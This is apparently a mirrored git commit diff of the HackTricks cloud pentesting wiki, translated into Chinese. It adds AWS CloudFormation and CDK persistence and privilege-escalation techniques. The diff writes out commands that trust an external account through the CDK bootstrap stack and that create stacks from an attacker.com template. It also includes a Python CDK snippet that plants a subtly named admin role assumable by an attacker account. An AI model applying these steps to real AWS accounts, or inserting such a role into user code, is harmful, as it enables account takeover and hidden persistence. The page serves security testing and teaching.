mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-26 03:04:46 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud
This commit is contained in:
@@ -211,6 +211,7 @@
|
||||
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
|
||||
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
有关更多信息,请访问:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
AWS CDK 部署一个名为 `CDKToolkit` 的 CFN 堆栈。该堆栈支持一个参数 `TrustedAccounts`,允许外部账户将 CDK 项目部署到受害者账户中。攻击者可以利用这一点,通过使用 AWS cli 重新部署带参数的堆栈,或使用 AWS CDK cli 来授予自己对受害者账户的无限访问权限。
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `iam:PassRole`, `cloudformation:CreateStack`
|
||||
|
||||
具有这些权限的攻击者**可以提升权限**,通过制作一个**CloudFormation 堆栈**,使用托管在其服务器上的自定义模板,**以指定角色的权限执行操作:**
|
||||
具有这些权限的攻击者 **可以提升权限**,通过制作一个 **CloudFormation stack**,使用托管在其服务器上的自定义模板,**以指定角色的权限执行操作:**
|
||||
```bash
|
||||
aws cloudformation create-stack --stack-name <stack-name> \
|
||||
--template-url http://attacker.com/attackers.template \
|
||||
@@ -39,7 +39,7 @@ aws cloudformation update-stack \
|
||||
```
|
||||
`cloudformation:SetStackPolicy` 权限可以用来 **给自己 `UpdateStack` 权限** 以便对一个堆栈进行攻击。
|
||||
|
||||
**潜在影响:** 提升到指定的 cloudformation 服务角色。
|
||||
**潜在影响:** 对指定的 cloudformation 服务角色进行权限提升。
|
||||
|
||||
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
|
||||
|
||||
@@ -47,13 +47,13 @@ aws cloudformation update-stack \
|
||||
|
||||
`cloudformation:SetStackPolicy` 权限可以用来 **给自己 `UpdateStack` 权限** 以便对一个堆栈进行攻击。
|
||||
|
||||
**潜在影响:** 提升到已经附加的 cloudformation 服务角色。
|
||||
**潜在影响:** 对已经附加的 cloudformation 服务角色进行权限提升。
|
||||
|
||||
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
拥有 **传递角色和创建 & 执行 ChangeSet** 权限的攻击者可以 **创建/更新一个新的 cloudformation 堆栈,滥用 cloudformation 服务角色**,就像使用 CreateStack 或 UpdateStack 一样。
|
||||
|
||||
以下利用是 **变体**[ **CreateStack 的**](./#iam-passrole-cloudformation-createstack),使用 **ChangeSet 权限** 来创建一个堆栈。
|
||||
以下利用是 **变体**[ **CreateStack 的**](#iam-passrole-cloudformation-createstack),使用 **ChangeSet 权限** 来创建一个堆栈。
|
||||
```bash
|
||||
aws cloudformation create-change-set \
|
||||
--stack-name privesc \
|
||||
@@ -81,7 +81,7 @@ aws cloudformation describe-stacks \
|
||||
```
|
||||
`cloudformation:SetStackPolicy` 权限可以用来 **给自己 `ChangeSet` 权限** 以便对堆栈执行攻击。
|
||||
|
||||
**潜在影响:** 提升到 cloudformation 服务角色的权限。
|
||||
**潜在影响:** 提升到 cloudformation 服务角色。
|
||||
|
||||
### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
@@ -103,8 +103,53 @@ aws cloudformation describe-stacks \
|
||||
|
||||
**潜在影响:** 提升到附加的 cloudformation 角色。
|
||||
|
||||
## AWS CDK
|
||||
|
||||
AWS cdk 是一个工具包,允许用户使用他们已经熟悉的语言定义基础设施即代码,并轻松重用部分代码。然后,CDK 将高级代码(即 python)转换为 Cloudformation 模板(yaml 或 json)。
|
||||
|
||||
为了使用 CDK,管理员用户必须首先引导账户,这会创建几个 IAM 角色,包括具有 \*/\* 权限的 *exec role*。这些角色遵循命名结构 `cdk-<qualifier>-<name>-<account-id>-<region>`。每个账户每个区域必须引导一次。
|
||||
|
||||
默认情况下,CDK 用户无法访问列出使用 CDK 所需的角色,这意味着您需要手动确定它们。如果您入侵了开发者的机器或某个 CI/CD 节点,这些角色可以被假设,以授予您部署 CFN 模板的能力,使用 `cfn-exec` 角色允许 CFN 部署任何资源,完全控制账户。
|
||||
|
||||
### 确定角色名称
|
||||
|
||||
如果您拥有 `cloudformation:DescribeStacks`,角色在名为 `CDKToolkit` 的堆栈中定义,您可以从那里提取名称。
|
||||
|
||||
如果您在用于构建和部署 CDK 项目的机器上,可以从项目根目录中的 `cdk.out/manafest.json` 中提取它们。
|
||||
|
||||
您也可以对它们做出合理的猜测。`qualifier` 是添加到角色中的字符串,允许同时部署多个 CDK 引导实例,但默认值硬编码为 `hnb659fds`。
|
||||
```
|
||||
# Defaults
|
||||
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
|
||||
cdk-hnb659fds-deploy-role-<account-id>-<region>
|
||||
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-lookup-role-<account-id>-<region>
|
||||
```
|
||||
### 向项目源添加恶意代码
|
||||
|
||||
如果您可以写入项目源,但无法自己部署(例如,开发人员通过 CI/CD 部署代码,而不是本地机器),您仍然可以通过向堆栈添加恶意资源来破坏环境。以下内容将一个可以被攻击者账户假设的 IAM 角色添加到 python CDK 项目中。
|
||||
```python
|
||||
class CdkTestStack(Stack):
|
||||
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
|
||||
super().__init__(scope, construct_id, **kwargs)
|
||||
|
||||
# ----------
|
||||
# Some existing code.....
|
||||
# ----------
|
||||
|
||||
role = iam.Role(
|
||||
self,
|
||||
"cdk-backup-role", # Role name, make it something subtle
|
||||
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
|
||||
managed_policies=[
|
||||
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
|
||||
],
|
||||
)
|
||||
```
|
||||
## 参考
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## CloudFormation
|
||||
|
||||
AWS CloudFormation 是一个旨在 **简化 AWS 资源管理** 的服务。它使用户能够更多地专注于在 AWS 上运行的应用程序,通过 **减少在资源管理上花费的时间**。该服务的核心功能是 **模板**——所需 AWS 资源的描述模型。一旦提供了该模板,CloudFormation 负责指定资源的 **供应和配置**。这种自动化促进了更高效和无错误的 AWS 基础设施管理。
|
||||
AWS CloudFormation 是一个旨在 **简化 AWS 资源管理** 的服务。它使用户能够更多地关注在 AWS 上运行的应用程序,通过 **减少在资源管理上花费的时间**。该服务的核心功能是 **模板**——所需 AWS 资源的描述模型。一旦提供了这个模板,CloudFormation 就负责指定资源的 **供应和配置**。这种自动化促进了更高效和无错误的 AWS 基础设施管理。
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -37,6 +37,12 @@ aws cloudformation list-stack-set-operation-results --stack-set-name <name> --op
|
||||
../aws-privilege-escalation/aws-cloudformation-privesc/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-cloudformation-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
检查每个CloudFormation的**模板、参数和输出**中的**秘密**或敏感信息
|
||||
@@ -56,15 +62,15 @@ aws codestar list-team-members --project-id <project_id>
|
||||
aws codestar list-user-profiles
|
||||
aws codestar describe-user-profile --user-arn <arn>
|
||||
```
|
||||
### 提权
|
||||
### Privesc
|
||||
|
||||
在以下页面中,您可以查看如何**滥用 codestar 权限以提升特权**:
|
||||
在以下页面中,您可以查看如何**滥用codestar权限以提升特权**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-codestar-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## 参考
|
||||
## References
|
||||
|
||||
- [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user